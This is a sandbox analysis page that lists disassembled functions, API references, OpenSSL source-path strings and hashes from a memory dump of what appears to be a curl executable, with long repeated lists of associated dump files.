Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _memmove_memset
String ID: ..\..\openssl\openssl\crypto\hmac\hmac.c$..\..\openssl\openssl\crypto\hmac\hmac.c$j <= (int)sizeof(ctx->key)$len>=0 && len<=(int)sizeof(ctx->key)
API String ID: 3555123492-2379139252
Opcode ID: b155f0e6abd607c1982ac5d0d1daf3d4b0a5c238dbe4872828ae9af081ff9117
Instruction ID: bff88936ff1f28dc5b017b2b17c99bd51d0dd9f8747bdae492cd7e511d036714
Opcode Fuzzy Hash: b155f0e6abd607c1982ac5d0d1daf3d4b0a5c238dbe4872828ae9af081ff9117
Instruction Fuzzy Hash: FC51F3706043455FDB24AF24DA51BABB3E9AF84354F94483CE886C7242EA35F9498762

Function 00964E00 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153COMMON

Download Yara Rule

APIs

_strspn.LIBCMT ref: 00964E17

Strings

, xrefs: 00964E0A, 00964E77, 00964E97, 00964F44

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _strspn
String ID:
API String ID: 3684824311-3688684798
Opcode ID: 23f3f216141be931918c98d455cadf976cf4a949534ed206581d1d7b3cbe7805
Instruction ID: 607624887d9f423000058be685c746106fb6467fad42bdbda2a4278ca59902f9
Opcode Fuzzy Hash: 23f3f216141be931918c98d455cadf976cf4a949534ed206581d1d7b3cbe7805
Instruction Fuzzy Hash: B7417B366042509BDF229E6CBC517B77BD9EFC6715F4C40BAEC848B206D626981BC3A1

Function 00A18F00 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 149COMMON

Download Yara Rule

APIs

__snprintf.LIBCMT ref: 00A18FF5
__snprintf.LIBCMT ref: 00A1902A

Strings

%c%c==, xrefs: 00A1904C
%c%c%c=, xrefs: 00A19022
%c%c%c%c, xrefs: 00A18FED

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: __snprintf
String ID: %c%c%c%c$%c%c%c=$%c%c==
API String ID: 2633826957-3943651191
Opcode ID: b36872185e09f6c17892b4df5fe527544ed4472c3e47f019ca4c97c26ecc8f89
Instruction ID: 90309fdc29e226daa75a04b0a0ba5c02fe13ab88aa4ba8eb362d0ba6b7617cee
Opcode Fuzzy Hash: b36872185e09f6c17892b4df5fe527544ed4472c3e47f019ca4c97c26ecc8f89
Instruction Fuzzy Hash: E3417CA240C6A01FF7158BA89CA4BFB7BEC9B5A305F0C45DAFAD5CB243D518C9058760

Function 009F6220 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 137COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 009F626C

Strings

..\..\openssl\openssl\crypto\pkcs12\p12_decr.c, xrefs: 009F6349
..\..\openssl\openssl\crypto\pkcs12\p12_decr.c, xrefs: 009F62B7
..\..\openssl\openssl\crypto\pkcs12\p12_decr.c, xrefs: 009F6297
..\..\openssl\openssl\crypto\pkcs12\p12_decr.c, xrefs: 009F6387
..\..\openssl\openssl\crypto\pkcs12\p12_decr.c, xrefs: 009F62D4

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _memset
String ID: ..\..\openssl\openssl\crypto\pkcs12\p12_decr.c$..\..\openssl\openssl\crypto\pkcs12\p12_decr.c$..\..\openssl\openssl\crypto\pkcs12\p12_decr.c$..\..\openssl\openssl\crypto\pkcs12\p12_decr.c$..\..\openssl\openssl\crypto\pkcs12\p12_decr.c
API String ID: 2102423945-1502137768
Opcode ID: ff452e4ab2c959b56ad3401311a502123767fc388c1e3b9601fe0a89c92cbb20
Instruction ID: 91c1bc0eb10e8f448009767c86042769864f7e016533de9a45f2fb1f32043e05
Opcode Fuzzy Hash: ff452e4ab2c959b56ad3401311a502123767fc388c1e3b9601fe0a89c92cbb20
Instruction Fuzzy Hash: E241F3717443059BD720DF54DD42FABB3E9AFC4704F044829FA499B282EAB5EA09C793

Function 009E4E70 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 131COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000,?,?,?), ref: 009E4EB9

Strings

..\..\openssl\openssl\crypto\evp\evp_lib.c, xrefs: 009E51AB
mac_size <= MAX_MAC_SIZE, xrefs: 009E521E
..\..\openssl\openssl\ssl\s2_pkt.c, xrefs: 009E51C6
..\..\openssl\openssl\ssl\s2_pkt.c, xrefs: 009E5228

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: ErrorLast
String ID: ..\..\openssl\openssl\crypto\evp\evp_lib.c$..\..\openssl\openssl\ssl\s2_pkt.c$..\..\openssl\openssl\ssl\s2_pkt.c$mac_size <= MAX_MAC_SIZE
API String ID: 1452528299-292904039
Opcode ID: c80fbf64919dca56bc49555a8e3ef15df7a39af684e11860933905c3f3eea4f6
Instruction ID: 6af468835035c93cbca0950e5c11dce775ed74e1f42a9c1fdc7a3902c0c84d66
Opcode Fuzzy Hash: c80fbf64919dca56bc49555a8e3ef15df7a39af684e11860933905c3f3eea4f6
Instruction Fuzzy Hash: 6841BC30604B408BE321DF1AC985B26B7E6FB84728F55492CE6464BAD1D7B6EC85CB81

Function 00A24E02 Relevance: 10.6, APIs: 7, Instructions: 116timeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 00A24E79
__aulldiv.LIBCMT ref: 00A24E93
__aulldiv.LIBCMT ref: 00A24F24
__aullrem.LIBCMT ref: 00A24F32
__aulldiv.LIBCMT ref: 00A24F50

Part of subcall function 00A1E62A: __getptd_noexit.LIBCMT ref: 00A1E62A

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: __aulldiv$Time$FileSystem__aullrem__getptd_noexit
String ID:
API String ID: 2101487081-0
Opcode ID: 13ce627a164353064d69f52e3899ded764d4ace2945952a6217866e185b7c6a8
Instruction ID: bd980f4c1e1f155c314a40756dbe9d8d42b66e88e5604b2df6c42d8596e2546c
Opcode Fuzzy Hash: 13ce627a164353064d69f52e3899ded764d4ace2945952a6217866e185b7c6a8
Instruction Fuzzy Hash: 1A41A275A003249BEB24EFACAD85FAEB3B9BB48720F1144AAF509D7281D7709940CB51

Function 009B0630 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 112COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 009B066D
_memmove.LIBCMT ref: 009B0693
_memmove.LIBCMT ref: 009B0709

Strings

..\..\openssl\openssl\crypto\evp\encode.c, xrefs: 009B072D
ctx->length <= (int)sizeof(ctx->enc_data), xrefs: 009B0723
CERTIFICATE, xrefs: 009B063B

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _memmove
String ID: ..\..\openssl\openssl\crypto\evp\encode.c$CERTIFICATE$ctx->length <= (int)sizeof(ctx->enc_data)
API String ID: 4104443479-196518284
Opcode ID: 7502bf6a085e73a91be933a4b3671bae539803396bd2cce09012f2963d71c7a9
Instruction ID: 9cbe43d0a72ca531a19cde35db017be58cbf9c5d260ca6b7f9588c9c370d774d
Opcode Fuzzy Hash: 7502bf6a085e73a91be933a4b3671bae539803396bd2cce09012f2963d71c7a9
Instruction Fuzzy Hash: 22319EB2608306AFC704DF19D980A9BF7E9FFD4314F144A3DE49983641EB71A924CB95

Function 00990900 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 92COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00990923

Strings

..\..\openssl\openssl\crypto\buffer\buffer.c, xrefs: 00990987
..\..\openssl\openssl\crypto\buffer\buffer.c, xrefs: 00990942
..\..\openssl\openssl\crypto\buffer\buffer.c, xrefs: 00990974
..\..\openssl\openssl\crypto\buffer\buffer.c, xrefs: 0099099E

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _memset
String ID: ..\..\openssl\openssl\crypto\buffer\buffer.c$..\..\openssl\openssl\crypto\buffer\buffer.c$..\..\openssl\openssl\crypto\buffer\buffer.c$..\..\openssl\openssl\crypto\buffer\buffer.c
API String ID: 2102423945-1792145376
Opcode ID: 5fb758821c8b599f982acad2798d670a2a4830c937286bd41befeaad939397be
Instruction ID: 0376b9f43cf23d5297f8bd8a9b8c5cc5669dbcdd53b95645de177ba5ee374334
Opcode Fuzzy Hash: 5fb758821c8b599f982acad2798d670a2a4830c937286bd41befeaad939397be
Instruction Fuzzy Hash: 6021D3B2B402126FEB14AA5CEC96B59B355EBD4B55F10843AF61DCB381E7A4AC25C380

Function 009869A0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 90COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 009869CE
_fprintf.LIBCMT ref: 00986A2E
_memset.LIBCMT ref: 00986A68

Strings

Enter PEM pass phrase:, xrefs: 009869E6
..\..\openssl\openssl\crypto\pem\pem_lib.c, xrefs: 00986A4E
phrase is too short, needs to be at least %d chars, xrefs: 00986A20

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _fprintf_memmove_memset
String ID: ..\..\openssl\openssl\crypto\pem\pem_lib.c$Enter PEM pass phrase:$phrase is too short, needs to be at least %d chars
API String ID: 797568609-4175763246
Opcode ID: 493931e85826aaffc739e51a42ca79b7a74685ec8fca969a52d4df3c3ce85202
Instruction ID: a73167d4bbdad18ea24dd343267cff91f5032faad8888d400e1abd7d6e59c413
Opcode Fuzzy Hash: 493931e85826aaffc739e51a42ca79b7a74685ec8fca969a52d4df3c3ce85202
Instruction Fuzzy Hash: F6216EB3B0422427EB246529BC52FB7774DCB91768F044234FD49EB3C2F9629D0582D5

Function 0093EFB0 Relevance: 10.6, APIs: 7, Instructions: 83networkCOMMON

Download Yara Rule

APIs

Part of subcall function 009685F0: getaddrinfo.WS2_32(?,?,?,?), ref: 0096860B
Part of subcall function 009685F0: _memmove.LIBCMT ref: 009686C3
Part of subcall function 009685F0: freeaddrinfo.WS2_32(?,?,?,?,?,?,?,?,00000000), ref: 00968710

WSAGetLastError.WS2_32 ref: 0093F004
WSAGetLastError.WS2_32 ref: 0093F00A
EnterCriticalSection.KERNEL32(?), ref: 0093F021
LeaveCriticalSection.KERNEL32(?), ref: 0093F02F
DeleteCriticalSection.KERNEL32(00000000), ref: 0093F03C
_memset.LIBCMT ref: 0093F06F
LeaveCriticalSection.KERNEL32(?), ref: 0093F087

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: CriticalSection$ErrorLastLeave$DeleteEnter_memmove_memsetfreeaddrinfogetaddrinfo
String ID:
API String ID: 940451095-0
Opcode ID: aef7b23d483f19b19ea2dfd6d7e9c1d769b19ecb59a9703c4c9e7ba438d3e7cf
Instruction ID: bc20fdc59c409ef4a1a46faed381b026395917c922b52fb7d90097794941c7f8
Opcode Fuzzy Hash: aef7b23d483f19b19ea2dfd6d7e9c1d769b19ecb59a9703c4c9e7ba438d3e7cf
Instruction Fuzzy Hash: C8216B72600301DBD720EF68DC45B1BB7E9FF88704F018929F99A93262DB75E905CBA1

Function 0097CD90 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 335COMMON

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 0097CEAA
_strncmp.LIBCMT ref: 0097CF3B

Strings

..\..\openssl\openssl\ssl\ssl_ciph.c, xrefs: 0097D0AE
STRENGTH, xrefs: 0097CF35
..\..\openssl\openssl\ssl\ssl_ciph.c, xrefs: 0097D0E4

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

